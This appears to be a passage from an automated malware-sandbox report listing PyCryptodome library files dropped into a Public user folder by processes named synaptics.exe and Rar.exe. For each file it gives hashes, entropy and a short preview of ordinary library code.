Preview:	# -- coding: utf-8 --..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ================================================================

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Util\pycache\Padding.cpython-310.pyc.72805456

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	2336
Entropy (8bit):	5.4417595091627735
Encrypted:	false
SSDEEP:	48:NSEbQJrnAeKJdRXlkNyiFsx3miW7WlxeKbNRT7ytqmcQg:bbQJDAeqzHo2W6re637wg
MD5:	3706D32026C84A67F20EAA92C2C395AB
SHA1:	EDBD660872BDB8BB54F86F94521A94B07D778A1E
SHA-256:	51ABB579BC8B05AF83B5FFA799F8DE0B013B03F991673C53D8146DCE11454112
SHA-512:	C8E16EBEEE79A8162288011421AFA5AED305F696E4382238A26CA692D918C295756BCF84204F8E0E10B85D8B764EB40C39AD6EF945F108351917B6A7B2571AD4
Malicious:	false
Reputation:	low
Preview:	o..........fE........................@...s(...d.d.g.Z.d.d.l.T.d.d.d...Z.d.d.d...Z.d.S.)...pad..unpad.....).....pkcs7c....................C...s....\|.t.\|...\|.....}.\|.d.k.r.t.\|...\|...}.\|.\|...S.\|.d.k.rt.d...\|.d.....t.\|.....}.\|.\|...S.\|.d.k.r>t.d...t.d...\|.d.......}.\|.\|...S.t.d.....).a....Apply standard padding... Args:. data_to_pad (byte string):. The data that needs to be padded.. block_size (integer):. The block boundary to use for padding. The output length is guaranteed. to be a multiple of :data:`block_size`.. style (string):. Padding algorithm. It can be 'pkcs7' (default), 'iso7816' or 'x923'... Return:. byte string : the original data with the appropriate padding added at the end.. r......x923r...........iso7816......Unknown padding style)...len..bchr..ValueError).Z.data_to_pad..block_size..style..padding_len..padding..r.....EC:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Util\Padding.pyr....'...s...............

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Util\pycache\init.cpython-310.pyc.70593256

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1107
Entropy (8bit):	4.873031507150908
Encrypted:	false
SSDEEP:	24:NKUilE4ApU2gWfri+RHvEIO4oFaQvuYjVrGivBlOh2/K:NFilbASgf++BcD4YaQVprGGBgR
MD5:	A207A1F466802102025E63FBA5B0E502
SHA1:	83C8865EEDF0EB6EAD6379476F122F31DB5D91EA
SHA-256:	2B0E5521DB488A45EE693FE27BDDB0184501FA891F7F5E0F99F0E59D6FD2EBBF
SHA-512:	BB20B789CC9276E71C7011DAC39A982B5838A5EF40930CCA0E66B4CD6DDA9BB41A8EDE16D4871B56940BC5B7C6707E3EEF5C3FBB0B644F0A4FCC28849AB1FCDB
Malicious:	false
Reputation:	low
Preview:	o..........f.........................@...s....d.Z.g.d...Z.d.S.).a[...Miscellaneous modules..Contains useful modules that don't belong into any of the.other Crypto.* subpackages...======================== =============================================.Module Description.======================== =============================================.`Crypto.Util.number` Number-theoretic functions (primality testing, etc.).`Crypto.Util.Counter` Fast counter functions for CTR cipher modes..`Crypto.Util.RFC1751` Converts between 128-bit keys and human-readable. strings of words..`Crypto.Util.asn1` Minimal support for ASN.1 DER encoding.`Crypto.Util.Padding` Set of functions for adding and removing padding..======================== =============================================..:undocumented: _galois, _number_new, cpuid, py3compat, _raw_api.).Z.RFC1751..numberZ.strxorZ.asn1..CounterZ.PaddingN)...__doc__..__all__

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Util\pycache\_cpu_features.cpython-310.pyc.70760608

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	694
Entropy (8bit):	4.5930397087553985
Encrypted:	false
SSDEEP:	12:Cg/Q4UlabXgAin19S07ov8Vlh2mv99J+di+ymIm+l:NTUliQAin19SkXh2+J+dBIL
MD5:	2FFB368FB1F4936753669BC58C1D2F11
SHA1:	E41F8637159EDF678354AD635978BF7EB7B7B21A
SHA-256:	175F5DF25BEAB5CDE0EEB6AF705B0F991C3BF243FECCF63B9051A6B5C1D405F7
SHA-512:	2B30C91B8B9E7DAAAF30804A9C8E1547F5CD9FC0CF21CD1817C333C224C9C52FB423C7C7CAA5B5D25AD9325870A314E4ACC9A6B14C506C665F772E5F63D91B66
Malicious:	false
Reputation:	low
Preview:	o..........f.........................@...s*...d.d.l.m.Z...e.d.d...Z.d.d...Z.d.d...Z.d.S.)......)...load_pycryptodome_raw_libz.Crypto.Util._cpuid_cz.. int have_aes_ni(void);. int have_clmul(void);. c....................C........t.....S...N)..._raw_cpuid_lib..have_aes_ni..r....r.....KC:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Util\_cpu_features.pyr....)..........r....c....................C...r....r....).r......have_clmulr....r....r....r....r....-...r....r....N)...Crypto.Util._raw_apir....r....r....r....r....r....r....r......<module>....s................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Util\pycache\_file_system.cpython-310.pyc.70759200

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	853
Entropy (8bit):	5.333276165807784
Encrypted:	false
SSDEEP:	24:NrLuapeA2HBZ8SlwC8ES3OyHzIh28M/3k:NrLu4YZkCkeyHzk8/0
MD5:	FFF6EC453349F44DAD87C1FAC87687D5
SHA1:	E2EA2906CDCF67A353F0B707036846B6EBB36AAE
SHA-256:	8AEBC720460E9386513C4077B960EDF54EB151CB0683F106D7029F9B6315F5E1
SHA-512:	A6228767611F37DF3B62CD375E3DCA2A2F7B4DE3760F14CAC27BF2AD5C48B8ABDA1DF54AFA950375D5CD14051CDF6054E00CA130FA4F98D24C9D84A97823A85B
Malicious:	false
Reputation:	low
Preview:	o..........f.........................@...s....d.d.l.Z.d.d...Z.d.S.)......Nc....................C...sd...\|.d...d.k.r.t.d.....t.\|.d.d.......\|.g...}.t.j...t.j...t.....\.}.}.t.j...\|.d...}.t.j.j.\|.g.\|...R...S.).a....Return the complete file name for the module.. dir_comps : list of string. The list of directory names in the PyCryptodome package.. The first element must be "Crypto"... filename : string. The filename (inclusing extension) in the target directory.. r....Z.Cryptoz)Only available for modules under 'Crypto'.....Nz...)...ValueError..list..os..path..split..abspath..__file__..join)...dir_comps..filenameZ.util_lib.._Z.root_lib..r.....JC:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Util\_file_system.py..pycryptodome_filename"...s................r....).r....r....r....r....r....r......<module>....s........

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Util\pycache\_file_system.cpython-310.pyc.76342560

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	853
Entropy (8bit):	5.333276165807784
Encrypted:	false
SSDEEP:	24:NrLuapeA2HBZ8SlwC8ES3OyHzIh28M/3k:NrLu4YZkCkeyHzk8/0
MD5:	FFF6EC453349F44DAD87C1FAC87687D5
SHA1:	E2EA2906CDCF67A353F0B707036846B6EBB36AAE
SHA-256:	8AEBC720460E9386513C4077B960EDF54EB151CB0683F106D7029F9B6315F5E1
SHA-512:	A6228767611F37DF3B62CD375E3DCA2A2F7B4DE3760F14CAC27BF2AD5C48B8ABDA1DF54AFA950375D5CD14051CDF6054E00CA130FA4F98D24C9D84A97823A85B
Malicious:	false
Reputation:	low
Preview:	o..........f.........................@...s....d.d.l.Z.d.d...Z.d.S.)......Nc....................C...sd...\|.d...d.k.r.t.d.....t.\|.d.d.......\|.g...}.t.j...t.j...t.....\.}.}.t.j...\|.d...}.t.j.j.\|.g.\|...R...S.).a....Return the complete file name for the module.. dir_comps : list of string. The list of directory names in the PyCryptodome package.. The first element must be "Crypto"... filename : string. The filename (inclusing extension) in the target directory.. r....Z.Cryptoz)Only available for modules under 'Crypto'.....Nz...)...ValueError..list..os..path..split..abspath..__file__..join)...dir_comps..filenameZ.util_lib.._Z.root_lib..r.....JC:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Util\_file_system.py..pycryptodome_filename"...s................r....).r....r....r....r....r....r......<module>....s........

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Util\pycache\_raw_api.cpython-310.pyc.70593376

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	8730
Entropy (8bit):	5.205858648047069
Encrypted:	false
SSDEEP:	192:mfhLSEONC31/QtcU4/GPCenzp7Qb+RQrBIQIu7XNNHD0yXNvjB2IatSxB/dbJg1d:MhmEONC31ItcUGGPCenzp7Qb+RQrBIQO
MD5:	6B937059E98D26DC3EAF077D6294913D
SHA1:	1AFC6C5E8D9CB617D705578DC823B082B0232B54
SHA-256:	90AE5500B3386456BAC3DB43961FB00E24C22AAD133C268486CDB069CC7915F7
SHA-512:	7EA086DA739F93EFF55DA25D9A49321A78BA4375E3F425F2F98C3FCBF40F7EFE5E29AEF3C895E37BB0FFC1830100E781DA1A8940C5459CAE7FA3147C3460E4F3
Malicious:	false
Reputation:	low
Preview:	o..........f}.......................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...e.j.d...d.k.r:d.d.l.Z.g.Z.e.....D.].\.Z.Z.Z.e.e.j.k.r8e...e.....q)n.d.d.l.m.Z...e.j.Z.e.e.f.Z.G.d.d...d.e...Z.zkd.e.j.v.r_e.j.j.d.k.r_e.d.....e.j.d.k.rme.j.d.k.rme.d.....d.d.l.m.Z...e...Z.e.j Z!e.."e..#d.....Z$e..#d...j%j&Z'd.d...Z(d.d...Z)e)Ze)Z+e)Z,d.d...Z-d;d.d...Z.d.d...Z/d.d...Z0d.d...Z1G.d.d ..d e...Z2d!d"..Z3d#Z4W.nt..e...y.......d.d.l5Z5d.d$l5m6Z6m7Z7m8Z8m)Z)mZm-Z-m.Z.m,Z,m+Z+..d.d%l9m:Z:..d.d&l5m;Z'..d.Z!g.Z<d'd(..Z,d)d...Z(d*d...Z/d+d...Z0e5j=Z>d.Z?e5j@jAZBe5j@jCZDe5jEZFe5.Ge>..ZHG.d,d-..d-e5jI..ZJd.d...Z1G.d/d0..d0e...ZKd1d"..Z3d2Z4Y.n.w.G.d3d4..d4e...ZLd5d6..ZMd7d8..ZNd9d:..ZOd.S.)<.....N)...byte_string)...pycryptodome_filename.....)...machineryc....................@...s(...e.Z.d.Z.e.j.d.d.....Z.e.j.d.d.....Z.d.S.)..._VoidPointerc....................C........d.S.).z&Return the memory location we point toN......selfr....r.....FC:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Util\pycache\asn1.cpython-310.pyc.72803776

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	30875
Entropy (8bit):	5.22335411670978
Encrypted:	false
SSDEEP:	768:HzjEnqf1DECvkHf9R3OPtm6q3YZHjSgfShUUEV6:Hz8CIRePYN3YZHeDzEV6
MD5:	09E29690A49BBC4501A083E339F5085E
SHA1:	43E6AC799FB5644120E1616246B270ECFB30488C
SHA-256:	062C8AE410CD6E62A4B6B64B4D4C98CEDAE873A5936BBFEFC8F334FF1C1AA88C
SHA-512:	95964F50C25D97A73623682350191EC8437283E2BD98B1A52D441D81E885998812FDD4E7821D2B43565837D7656F62F25E68FCF61474A50182906A6558B5F5F4
Malicious:	false
Reputation:	low
Preview:	o..........fq........................@...s....d.d.l.Z.d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...g.d...Z.d.d.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.S.)......N)...byte_string..bchr..bord)...long_to_bytes..bytes_to_long)...DerObject..DerInteger..DerBoolean..DerOctetString..DerNull..DerSequence..DerObjectId..DerBitString..DerSetOfFc....................C...s4...d.}.z.\|.\|...}.W.n...t.y.......Y.d.S.w.\|...p.\|.d.k.S.).Nr....F)...TypeError)...x..only_non_negative..test..r.....BC:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Util\asn1.py.._is_number(...s..................r....c....................@...s@...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)...BytesIO_EOFzeThis class differs from BytesIO in that a ValueError exception is. raised whenever EOF is reached.c....................C...s....\|.\|._.d.\|._.d.\|._.d.S...Nr....)..._buffer.._index.._bookm

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Util\pycache\number.cpython-310.pyc.70593856

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	61128
Entropy (8bit):	5.246774965664733
Encrypted:	false
SSDEEP:	1536:y5hCN5kZjyUy0lwXEgNjOtg78YrIn6VhjlLQ5DR4wLDzwK2csHXV:y5QkpyUy0lsEgZOtg78sI6VTLQ5DRvv6
MD5:	9839C8CACA1D0C528CE4A356AE03454D
SHA1:	DA30A521EBBEB4469D0DEE89802E180839B02192
SHA-256:	AC302F77B19E805AA88C8D6B158CA88821547D01F190B91FA118B4D1981B74BA
SHA-512:	1A5B185BB64AECAC92DB362FCD9B07352DDDB569F577F30CA34CEBFFE165BD8BF02589704B464F0008B5D6527D8D6CD5DBE5E5A1AB3C9F203B86A075880C45A7
Malicious:	false
Reputation:	low
Preview:	o..........fh~.......................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.Z.d.d...Z.d.d...Z.d(d.d...Z.d(d.d...Z.d(d.d...Z.e.j.d.d.....d.k.r>e.j.Z.n.d.d...Z.e.j.d.d.....d.k.rPd.d...Z.n.d.d...Z.d(d.d...Z.d(d.d...Z.d)d.d...Z.dd.d...Z.d.d.l.Z.d+d.d ..Z.d!d"..Z.d.d.l.Z.d+d#d$..Z.d%d&..Z.d'Z.d.S.),.....N)...Random)...iter_rangec....................C...sP...\|.d.k.r.t.....\|.d.k.s.\|.d.k.r.t.d.....t.\|.\|...\.}.}.\|.d.k.r&\|.d.k.r&\|.d.7.}.\|.S.).zDReturn ceil(n/d), that is, the smallest integer r such that rd >= nr....z.Non positive values.....)...ZeroDivisionError..ValueError..divmod)...n..d..r..q..r.....DC:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Util\number.py..ceil_div%...s....................r....c....................C...s....\|.d.k.r.t.d.....\|.....S.).z)Returns the size of the number N in bits.r....z4Size in bits only available for non-negative numbers).r......bit_length)...Nr....r....r......size2...s..........r....c....................C...sZ...\|.d.u.r.t.j.}.\|.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Util\pycache\py3compat.cpython-310.pyc.70759584

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	5247
Entropy (8bit):	4.923935118860882
Encrypted:	false
SSDEEP:	96:ZcF/EpktYDLOjIWTmpSaRBF7mgcsi/e/7/9whOJZg+6B6cGZ2B+uWc7xUK6It:ZW/EpkGUIW82bWzL0zJU+
MD5:	F7D90110B80B565EDEE6BF8F2C44D21F
SHA1:	E956C6E08533AEFFECB26E61D12CAE4D10D38AD9
SHA-256:	0A4EF52AB40D320AEDD714B7A8BAAC8170B24C58D44607FF1873CBE4D13CE596
SHA-512:	F52AAD4AB0FFFBBA045BEAC6CBD021E867F49BB6E26164462F71BD6051C6163EA8FF7EDA463580447E837A18BC9B0AB93D9D610F78AAD89FA28F649935D3CF9C
Malicious:	false
Reputation:	low
Preview:	o..........fz........................@...sX...d.Z.d.d.l.Z.d.d.l.Z.e.j.d...d.k.r[d.d...Z.d.d...Z.d.d...Z.d.d...Z.d0d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d.l.m.Z...e.Z.d.d.l.m.Z...e.Z.d.d...Z.d.d...Z.d.d...Z.e...d.e.f.d.d.i...Z.e.Z.nId d...Z.d!d...Z.d"d...Z.d#d...Z.d0d$d...Z.d%d...Z.d&d...Z.d'd...Z.d.d(l.m.Z...d.d.l.m.Z...d.d)l.m.Z...e.Z.d*d...Z.d+d...Z.d,d...Z.d.d-l.m.Z...e.Z.d.d/..Z.[.[.d.S.)1a....Compatibility code for handling string/bytes changes from Python 2.x to Py3k..In Python 2.x, strings (of type ''str'') contain binary data, including encoded.Unicode text (e.g. UTF-8). The separate type ''unicode'' holds Unicode text..Unicode literals are specified via the u'...' prefix. Indexing or slicing.either type always produces a string of the same type as the original..Data read from a file is always of '''str'' type...In Python 3.x, strings (type ''str'') may only contain Unicode text. The u'...'.prefix and the ''unicode'' type are now redundant. A new type (called.''bytes'') has to b

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Util\pycache\strxor.cpython-310.pyc.70594216

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	3258
Entropy (8bit):	5.105906166864861
Encrypted:	false
SSDEEP:	48:NYjdkxR/B0sI/LU/kwf+RDQ+XfxGRrccFVQuWP/Z6mQaG8PR02B4Ho4Uw7sR:+xkv/3WLJwyJforccFuz/Z6CG8G1hW
MD5:	DAEAD0B028EF37D6B3A42C7F1ED48672
SHA1:	C4C513572A7B2BC634AAD302D3C21319D16113EC
SHA-256:	8675F4C734F23C631134C318F01B457D2970979446CD2B5F9F53A342E22B1B59
SHA-512:	36599A30163DFF9EFDD7A44052BE00BCE6FCFF13B061B4DE928DA733E371973391C706E97E46D14BA83BB06DE1C35D227519250BC0C54BD7DB7D998DEA97BE16
Malicious:	false
Reputation:	low
Preview:	o..........f.........................@...sJ...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...e.d.d...Z.d.d.d...Z.d.d.d...Z.d.d...Z.d.S.)......)...load_pycryptodome_raw_lib..c_size_t..create_string_buffer..get_raw_buffer..c_uint8_ptr..is_writeable_bufferz.Crypto.Util._strxoray.... void strxor(const uint8_t in1,. const uint8_t in2,. uint8_t out, size_t len);. void strxor_c(const uint8_t in,. uint8_t c,. uint8_t *out,. size_t len);. Nc....................C...s....t.\|...t.\|...k.r.t.d.....\|.d.u.r.t.t.\|.....}.n.\|.}.t.\|...s!t.d.....t.\|...t.\|...k.r1t.d.t.\|.........t...t.\|...t.\|...t.\|...t.t.\|.........\|.d.u.rKt.\|...S.d.S.).a....From two byte strings of equal length,. create a third one which is the byte-by-byte XOR of the two... Args:. term1 (bytes/bytearray/memoryview):. Th

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Util\_cpu_features.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2035
Entropy (8bit):	5.0956096784751965
Encrypted:	false
SSDEEP:	48:MbWOqrYJALrYJHdG43tDs3EsIG13NcuIH2+Mq5+RscRV:MbDqrYJALrYJHdt3EHGuIWK5+RscRV
MD5:	D4DD7789231F56101EAA341F5FD21A95
SHA1:	81FFD38FA0896E265B36EF52A15EE3BA5FAD7A75
SHA-256:	38D65295DD3E4506C462350E7766FB7D16635CC7E6A234FE0E4B14C7AF6089C6
SHA-512:	268E5FEDF74F36A2309E83B6642ACE469D7871C29F1975D4080D5992E9A29F8DFA681EEE85E7E8106E6A15A95B0D2FC336A8EDB1B81BA55F49D3F9E940E8EA89
Malicious:	false
Reputation:	low
Preview:	# ===================================================================..#..# Copyright (c) 2018, Helder Eijs <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Util\_cpu_features.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.354688723015057
Encrypted:	false
SSDEEP:	3:pAQybsRVLSyUkMFjRVLy:OdbsRnORQ
MD5:	2318A22B25D0854BD019BAEF901BB42A
SHA1:	37E3185DAACB1E611F02805F63044E28779DEFFF
SHA-256:	72FD9C4BBFF5954C58E3AE5C421334E7A570E5E8108DCB45499F8B497B359F5E
SHA-512:	B38E4BB47DF8EB1D8457D32BA047D2AB5278925854FEF51B8B922C9D0DC092DF19A1BCF9DF1F33CABD79583AC10D289F29A4E5A67B55B886D4282C5404767403
Malicious:	false
Reputation:	low
Preview:	def have_aes_ni() -> int: .....def have_clmul() -> int: .....

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Util\_cpuid_c.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	8704
Entropy (8bit):	5.008513190034663
Encrypted:	false
SSDEEP:	96:6Ku39PERtoqPAF+GBWM8o5WJ1ks/vnpjOCD7DaD2eQ5MmGffQTQrXd:6Ku39PE5gjBWMNWJzhjOg5MVnUwN
MD5:	E198EFEBB927979BC481F8B109F64C19
SHA1:	9EF5F3DDFA2DBD72DD5F94D1CEB911CA1E446CC6
SHA-256:	0C75E88EFD4158D687A410F7318B6CE79036C4A419A538BA20E86BEBC750C72B
SHA-512:	5BD60A98F8C49BFBC1F30BBBA62BD2216FAD83DD13B4167B0EF24F7FEBFC2A03FF189C3D4754C49798970BCC21F1E9871DE61B85A7DD8498538BBB6590C81BFF
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......../...N...N...N...6R..N...1...N..6...N...N...N...1...N...1...N...1...N.......N.......N....>..N.......N..Rich.N..........PE..L...7..e...........!...%............N........ ...............................`............@..........................$..\|...<%..P....@.......................P..@...`!............................... ..@............ ..h............................text............................... ..`.rdata..D.... ......................@..@.data........0......................@....rsrc........@......................@..@.reloc..@....P....... ..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Util\_file_system.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2225
Entropy (8bit):	5.261890106278258
Encrypted:	false
SSDEEP:	48:MCWOqrYJALrYJHdG43tDs3EsIG13NcuIH3z+9gNQjdod9qRh3jy:MCDqrYJALrYJHdt3EHGuIXztObQ
MD5:	4505C49A1831D0C93256DA8E78C1564B
SHA1:	63721BBAEA6BE397ADC3C4C1AA4335DBECCE215C
SHA-256:	B8FF883AA293F99710EA591A58AA8D0D03FEEEDD5AA49C560B60A05FD3D413E1
SHA-512:	3C6F8710D907EE676C8770012E4DF3542A063D40185D52EF4C93AB98E8227F2C85C353C5B82B519D97D016FE62052084E8E4FB0B8609EBB59440F85E613A2602
Malicious:	false
Reputation:	low
Preview:	# ===================================================================..#..# Copyright (c) 2016, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Util\_file_system.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	103
Entropy (8bit):	4.5743153977203175
Encrypted:	false
SSDEEP:	3:1REvgBAWxXfcAiTMXtKIOcSkWtWemUL/:1REYB9xXkVM96nRWe1/
MD5:	FFE308959102B5607429CEF941E9560E
SHA1:	3DA8DA002FEBDA41FE88459082E6CD8E57B9A5B3
SHA-256:	2F8B0576992C17D8191119B78CF52F73540F11F2502360F71266F5FF848FB5B5
SHA-512:	35EE20412D0AC941F7368DAB82E4A4996DF4058981BA6C07B24E99D533C2BE38E65B8911A7E99EE03A370DF63B557DD3F77839CA10BE939C98BE3E14BB650C65
Malicious:	false
Reputation:	low
Preview:	from typing import List......def pycryptodome_filename(dir_comps: List[str], filename: str) -> str: ...

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Util\_raw_api.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	10877
Entropy (8bit):	4.8802384608443194
Encrypted:	false
SSDEEP:	192:9qrskrs9t3q/IPtqY6t+DqX5WZ0cKqRlpZK0Xn4n/noOKcNeJWAc:0rskrs9VqkYRt+DqX5WZrKq7pZpX4/oC
MD5:	B87B25D98E8337122AE998F9ABF4D2B1
SHA1:	9B3FC679A26A4300CAE579BACB9AF93677426927
SHA-256:	67E1B4E201861F9A86E2DB1E548909CDEE46892CDCE59B3575CD9C7FF755BD54
SHA-512:	B15ADEB7D2FC9A050E80499A2CA1D0FD7203E24523C1DF591012AF01E9118B98D384DE0429612D2FEB4D8B9563FBC31A501FE4EE7C53BA2B590DE0A3A0F077F5
Malicious:	false
Reputation:	low
Preview:	# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Util\_raw_api.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	933
Entropy (8bit):	4.777842095513583
Encrypted:	false
SSDEEP:	24:1RExEeWw8O8GLziQDqwhBhhB+OTlAavvsZPWJuL:8EeTLPqkVv+PiE
MD5:	577B9FD6612492C13AAD9D5FDC396C43
SHA1:	2840A5AE5DA3ADA506BC9E64F4FB1324C021FCA7
SHA-256:	83C6B0310C82B4193830D59B3DABE23544ACF53FF2B53E0F918F2E8DB01F7485
SHA-512:	67E8794F498344EBEE1F95351169355EA139AE6937E867B7716E7A06ECEB3AE30F430630370BE7B06F325434041D9581DFA3831FFBF5F67FF7F88AE24C2935F0
Malicious:	false
Reputation:	low
